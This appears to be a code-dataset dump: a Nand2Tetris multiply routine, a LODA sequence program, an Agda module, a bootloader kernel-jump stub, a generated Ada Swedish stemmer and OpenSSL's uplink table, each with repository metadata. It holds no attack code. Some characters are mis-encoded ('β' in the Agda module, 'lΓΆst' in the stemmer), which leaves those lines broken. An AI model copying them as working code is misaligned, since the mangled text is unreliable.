32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
my_computer/06/Mult.asm
|
kippesp/Nand2Tetris
| 0 |
86230
|
<filename>my_computer/06/Mult.asm
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by <NAME> Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
// Put your code here.
// Output register
@R2
M=0 // R2 <-- 0
// Check if already done
@R1
D=M // D <-- multiplicand
@END
D;JEQ // if (multiplicant == 0) then we're done
(LOOP)
@R0
D=M // D <-- multiplier
@END
D;JEQ // if (multiplier == 0) then we're done
@R1
D=M // D <-- multiplicand
@R2
M=D+M // add multiplicand to result
@R0
M=M-1 // decrement multiplier
@LOOP
0;JMP // interate
(END)
@END
0;JMP // HALT
|
programs/oeis/089/A089927.asm
|
jmorken/loda
| 1 |
161087
|
<reponame>jmorken/loda<gh_stars>1-10
; A089927: Expansion of 1/((1-x^2)(1-5x+x^2)).
; 1,5,25,120,576,2760,13225,63365,303601,1454640,6969600,33393360,159997201,766592645,3672966025,17598237480,84318221376,403992869400,1935646125625,9274237758725,44435542668001,212903475581280
add $0,2
cal $0,3501 ; a(n) = 5*a(n-1) - a(n-2), with a(0) = 2, a(1) = 5.
add $1,$0
div $1,7
sub $1,3
div $1,3
add $1,1
|
src/Categories/Enriched/Over/One.agda
|
Trebor-Huang/agda-categories
| 279 |
13957
|
{-# OPTIONS --without-K --safe #-}
module Categories.Enriched.Over.One where
open import Level
open import Categories.Category.Monoidal.Instance.One
open import Categories.Enriched.Category
TruthValue : (o β e t : Level) β Set (o β β β e β suc t)
TruthValue o β e t = Category (One-Monoidal {o} {β} {e}) t
|
BootloaderCommonPkg/Library/LinuxLib/X64/JumpToKernel.nasm
|
kokweich/slimbootloader
| 1 |
162307
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006 - 2020, Intel Corporation. All rights reserved.<BR>
;
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
;------------------------------------------------------------------------------
SECTION .text
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; JumpToKernel (
; VOID *KernelStart,
; VOID *KernelBootParams
; );
;------------------------------------------------------------------------------
global ASM_PFX(JumpToKernel)
ASM_PFX(JumpToKernel):
mov rsi, rdx
call rcx
ret
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; JumpToKernel64 (
; VOID *KernelStart,
; VOID *KernelBootParams
; );
;------------------------------------------------------------------------------
global ASM_PFX(JumpToKernel64)
ASM_PFX(JumpToKernel64):
jmp JumpToKernel
|
src/lang/stemmer-swedish.adb
|
stcarrez/ada-stemmer
| 3 |
8780
|
<filename>src/lang/stemmer-swedish.adb
-- Generated by Snowball 2.2.0 - https://snowballstem.org/
package body Stemmer.Swedish is
pragma Style_Checks ("-mr");
pragma Warnings (Off, "*variable*is never read and never assigned*");
pragma Warnings (Off, "*mode could be*instead of*");
pragma Warnings (Off, "*formal parameter.*is not modified*");
pragma Warnings (Off, "*this line is too long*");
pragma Warnings (Off, "*is not referenced*");
procedure R_Other_suffix (Z : in out Context_Type; Result : out Boolean);
procedure R_Consonant_pair (Z : in out Context_Type; Result : out Boolean);
procedure R_Main_suffix (Z : in out Context_Type; Result : out Boolean);
procedure R_Mark_regions (Z : in out Context_Type; Result : out Boolean);
G_V : constant Grouping_Array (0 .. 151) := (
True, False, False, False, True, False, False, False,
True, False, False, False, False, False, True, False,
False, False, False, False, True, False, False, False,
True, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, True, True, False, False, False,
False, False, False, False, False, False, False, False,
False, False, False, False, False, True, False, False
);
G_S_ending : constant Grouping_Array (0 .. 23) := (
True, True, True, False, True, True, True, False,
True, True, True, True, True, True, True, False,
True, False, True, False, True, False, False, True
);
Among_String : constant String := "a" & "arna" & "erna" & "heterna"
& "orna" & "ad" & "e" & "ade" & "ande" & "arne" & "are" & "aste" & "en" & "anden"
& "aren" & "heten" & "ern" & "ar" & "er" & "heter" & "or" & "s" & "as" & "arnas"
& "ernas" & "ornas" & "es" & "ades" & "andes" & "ens" & "arens" & "hetens"
& "erns" & "at" & "andet" & "het" & "ast" & "dd" & "gd" & "nn" & "dt" & "gt"
& "kt" & "tt" & "ig" & "lig" & "els" & "fullt" & "lΓΆst";
A_0 : constant Among_Array_Type (0 .. 36) := (
(1, 1, -1, 1, 0),
(2, 5, 0, 1, 0),
(6, 9, 0, 1, 0),
(10, 16, 2, 1, 0),
(17, 20, 0, 1, 0),
(21, 22, -1, 1, 0),
(23, 23, -1, 1, 0),
(24, 26, 6, 1, 0),
(27, 30, 6, 1, 0),
(31, 34, 6, 1, 0),
(35, 37, 6, 1, 0),
(38, 41, 6, 1, 0),
(42, 43, -1, 1, 0),
(44, 48, 12, 1, 0),
(49, 52, 12, 1, 0),
(53, 57, 12, 1, 0),
(58, 60, -1, 1, 0),
(61, 62, -1, 1, 0),
(63, 64, -1, 1, 0),
(65, 69, 18, 1, 0),
(70, 71, -1, 1, 0),
(72, 72, -1, 2, 0),
(73, 74, 21, 1, 0),
(75, 79, 22, 1, 0),
(80, 84, 22, 1, 0),
(85, 89, 22, 1, 0),
(90, 91, 21, 1, 0),
(92, 95, 26, 1, 0),
(96, 100, 26, 1, 0),
(101, 103, 21, 1, 0),
(104, 108, 29, 1, 0),
(109, 114, 29, 1, 0),
(115, 118, 21, 1, 0),
(119, 120, -1, 1, 0),
(121, 125, -1, 1, 0),
(126, 128, -1, 1, 0),
(129, 131, -1, 1, 0));
A_1 : constant Among_Array_Type (0 .. 6) := (
(132, 133, -1, -1, 0),
(134, 135, -1, -1, 0),
(136, 137, -1, -1, 0),
(138, 139, -1, -1, 0),
(140, 141, -1, -1, 0),
(142, 143, -1, -1, 0),
(144, 145, -1, -1, 0));
A_2 : constant Among_Array_Type (0 .. 4) := (
(146, 147, -1, 1, 0),
(148, 150, 0, 1, 0),
(151, 153, -1, 1, 0),
(154, 158, -1, 3, 0),
(159, 163, -1, 2, 0));
procedure R_Mark_regions (Z : in out Context_Type; Result : out Boolean) is
C : Result_Index;
A : Integer;
v_1 : Char_Index;
begin
-- (, line 26
Z.I_P1 := Z.L;
-- test, line 29
v_1 := Z.C;
-- (, line 29
C := Skip_Utf8 (Z, 3); -- hop, line 29
if C < 0 then
Result := False;
return;
end if;
Z.C := C;
-- setmark x, line 29
Z.I_X := Z.C;
Z.C := v_1;
-- goto, line 30
Out_Grouping (Z, G_V, 97, 246, True, C); if C < 0 then
Result := False;
return;
end if;
-- gopast, line 30
-- non v, line 30
In_Grouping (Z, G_V, 97, 246, True, C);
if C < 0 then
Result := False;
return;
end if;
Z.C := Z.C + C;
-- setmark p1, line 30
Z.I_P1 := Z.C;
-- try, line 31
-- (, line 31
if not (Z.I_P1 < Z.I_X) then
goto lab2;
end if;
Z.I_P1 := Z.I_X;
<<lab2>>
Result := True;
end R_Mark_regions;
procedure R_Main_suffix (Z : in out Context_Type; Result : out Boolean) is
C : Result_Index;
A : Integer;
v_2 : Integer;
begin
-- (, line 36
if Z.C < Z.I_P1 then
Result := False;
return;
end if;
v_2 := Z.Lb; Z.Lb := Z.I_P1;
-- (, line 37
Z.Ket := Z.C; -- [, line 37
-- substring, line 37
if Z.C <= Z.Lb or else Check_Among (Z, Z.C - 1, 3, 16#1c4032#) then
Z.Lb := v_2;
Result := False;
return;
-- substring, line 37
end if;
Find_Among_Backward (Z, A_0, Among_String, null, A);
if A = 0 then
Z.Lb := v_2;
Result := False;
return;
end if;
Z.Bra := Z.C; -- ], line 37
Z.Lb := v_2;
-- among, line 38
case A is
when 1 =>
-- (, line 44
-- delete, line 44
Slice_Del (Z);
when 2 =>
-- (, line 46
In_Grouping_Backward (Z, G_S_ending, 98, 121, False, C);
if C /= 0 then
Result := False;
return;
end if;
-- delete, line 46
Slice_Del (Z);
when others =>
null;
end case;
Result := True;
end R_Main_suffix;
procedure R_Consonant_pair (Z : in out Context_Type; Result : out Boolean) is
C : Result_Index;
A : Integer;
v_2 : Integer;
v_3 : Char_Index;
begin
if Z.C < Z.I_P1 then
Result := False;
return;
end if;
v_2 := Z.Lb; Z.Lb := Z.I_P1;
-- and, line 52
v_3 := Z.L - Z.C;
-- among, line 51
if Z.C - 1 <= Z.Lb or else Check_Among (Z, Z.C - 1, 3, 16#104010#) then
Z.Lb := v_2;
Result := False;
return;
-- among, line 51
end if;
Find_Among_Backward (Z, A_1, Among_String, null, A);
if A = 0 then
Z.Lb := v_2;
Result := False;
return;
end if;
Z.C := Z.L - v_3;
-- (, line 52
Z.Ket := Z.C; -- [, line 52
-- next, line 52
C := Skip_Utf8_Backward (Z);
if C < 0 then
Z.Lb := v_2;
Result := False;
return;
end if;
Z.C := C;
Z.Bra := Z.C; -- ], line 52
-- delete, line 52
Slice_Del (Z);
Z.Lb := v_2;
Result := True;
end R_Consonant_pair;
procedure R_Other_suffix (Z : in out Context_Type; Result : out Boolean) is
C : Result_Index;
A : Integer;
v_2 : Integer;
begin
if Z.C < Z.I_P1 then
Result := False;
return;
end if;
v_2 := Z.Lb; Z.Lb := Z.I_P1;
-- (, line 55
Z.Ket := Z.C; -- [, line 56
-- substring, line 56
if Z.C - 1 <= Z.Lb or else Check_Among (Z, Z.C - 1, 3, 16#180080#) then
Z.Lb := v_2;
Result := False;
return;
-- substring, line 56
end if;
Find_Among_Backward (Z, A_2, Among_String, null, A);
if A = 0 then
Z.Lb := v_2;
Result := False;
return;
end if;
Z.Bra := Z.C; -- ], line 56
-- among, line 56
case A is
when 1 =>
-- (, line 57
-- delete, line 57
Slice_Del (Z);
when 2 =>
-- (, line 58
-- <-, line 58
Slice_From (Z, "lΓΆs");
when 3 =>
-- (, line 59
-- <-, line 59
Slice_From (Z, "full");
when others =>
null;
end case;
Z.Lb := v_2;
Result := True;
end R_Other_suffix;
procedure Stem (Z : in out Context_Type; Result : out Boolean) is
C : Result_Index;
A : Integer;
v_1 : Char_Index;
v_2 : Char_Index;
v_3 : Char_Index;
v_4 : Char_Index;
begin
-- (, line 64
-- do, line 66
v_1 := Z.C;
-- call mark_regions, line 66
R_Mark_regions (Z, Result);
Z.C := v_1;
Z.Lb := Z.C; Z.C := Z.L; -- backwards, line 67
-- (, line 67
-- do, line 68
v_2 := Z.L - Z.C;
-- call main_suffix, line 68
R_Main_suffix (Z, Result);
Z.C := Z.L - v_2;
-- do, line 69
v_3 := Z.L - Z.C;
-- call consonant_pair, line 69
R_Consonant_pair (Z, Result);
Z.C := Z.L - v_3;
-- do, line 70
v_4 := Z.L - Z.C;
-- call other_suffix, line 70
R_Other_suffix (Z, Result);
Z.C := Z.L - v_4;
Z.C := Z.Lb;
Result := True;
end Stem;
end Stemmer.Swedish;
|
external/openssl/src/ms/uptable.asm
|
phixion/l0phtcrack
| 2 |
102326
|
default rel
%define XMMWORD
%define YMMWORD
%define ZMMWORD
section .text code align=64
EXTERN OPENSSL_Uplink
global OPENSSL_UplinkTable
ALIGN 16
_lazy1:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,1
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[8+rax]
_lazy1_end:
ALIGN 16
_lazy2:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,2
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[16+rax]
_lazy2_end:
ALIGN 16
_lazy3:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,3
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[24+rax]
_lazy3_end:
ALIGN 16
_lazy4:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,4
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[32+rax]
_lazy4_end:
ALIGN 16
_lazy5:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,5
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[40+rax]
_lazy5_end:
ALIGN 16
_lazy6:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,6
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[48+rax]
_lazy6_end:
ALIGN 16
_lazy7:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,7
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[56+rax]
_lazy7_end:
ALIGN 16
_lazy8:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,8
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[64+rax]
_lazy8_end:
ALIGN 16
_lazy9:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,9
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[72+rax]
_lazy9_end:
ALIGN 16
_lazy10:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,10
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[80+rax]
_lazy10_end:
ALIGN 16
_lazy11:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,11
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[88+rax]
_lazy11_end:
ALIGN 16
_lazy12:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,12
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[96+rax]
_lazy12_end:
ALIGN 16
_lazy13:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,13
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[104+rax]
_lazy13_end:
ALIGN 16
_lazy14:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,14
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[112+rax]
_lazy14_end:
ALIGN 16
_lazy15:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,15
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[120+rax]
_lazy15_end:
ALIGN 16
_lazy16:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,16
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[128+rax]
_lazy16_end:
ALIGN 16
_lazy17:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,17
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[136+rax]
_lazy17_end:
ALIGN 16
_lazy18:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,18
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[144+rax]
_lazy18_end:
ALIGN 16
_lazy19:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,19
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[152+rax]
_lazy19_end:
ALIGN 16
_lazy20:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,20
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[160+rax]
_lazy20_end:
ALIGN 16
_lazy21:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,21
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[168+rax]
_lazy21_end:
ALIGN 16
_lazy22:
DB 0x48,0x83,0xEC,0x28
mov QWORD[48+rsp],rcx
mov QWORD[56+rsp],rdx
mov QWORD[64+rsp],r8
mov QWORD[72+rsp],r9
lea rcx,[OPENSSL_UplinkTable]
mov rdx,22
call OPENSSL_Uplink
mov rcx,QWORD[48+rsp]
mov rdx,QWORD[56+rsp]
mov r8,QWORD[64+rsp]
mov r9,QWORD[72+rsp]
lea rax,[OPENSSL_UplinkTable]
add rsp,40
jmp QWORD[176+rax]
_lazy22_end:
section .data data align=8
OPENSSL_UplinkTable:
DQ 22
DQ _lazy1
DQ _lazy2
DQ _lazy3
DQ _lazy4
DQ _lazy5
DQ _lazy6
DQ _lazy7
DQ _lazy8
DQ _lazy9
DQ _lazy10
DQ _lazy11
DQ _lazy12
DQ _lazy13
DQ _lazy14
DQ _lazy15
DQ _lazy16
DQ _lazy17
DQ _lazy18
DQ _lazy19
DQ _lazy20
DQ _lazy21
DQ _lazy22
section .pdata rdata align=4
ALIGN 4
DD _lazy1 wrt ..imagebase,_lazy1_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy2 wrt ..imagebase,_lazy2_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy3 wrt ..imagebase,_lazy3_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy4 wrt ..imagebase,_lazy4_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy5 wrt ..imagebase,_lazy5_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy6 wrt ..imagebase,_lazy6_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy7 wrt ..imagebase,_lazy7_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy8 wrt ..imagebase,_lazy8_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy9 wrt ..imagebase,_lazy9_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy10 wrt ..imagebase,_lazy10_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy11 wrt ..imagebase,_lazy11_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy12 wrt ..imagebase,_lazy12_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy13 wrt ..imagebase,_lazy13_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy14 wrt ..imagebase,_lazy14_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy15 wrt ..imagebase,_lazy15_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy16 wrt ..imagebase,_lazy16_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy17 wrt ..imagebase,_lazy17_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy18 wrt ..imagebase,_lazy18_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy19 wrt ..imagebase,_lazy19_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy20 wrt ..imagebase,_lazy20_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
DD _lazy21 wrt ..imagebase,_lazy21_end wrt ..imagebase,_lazy_unwind_info wrt ..imagebase
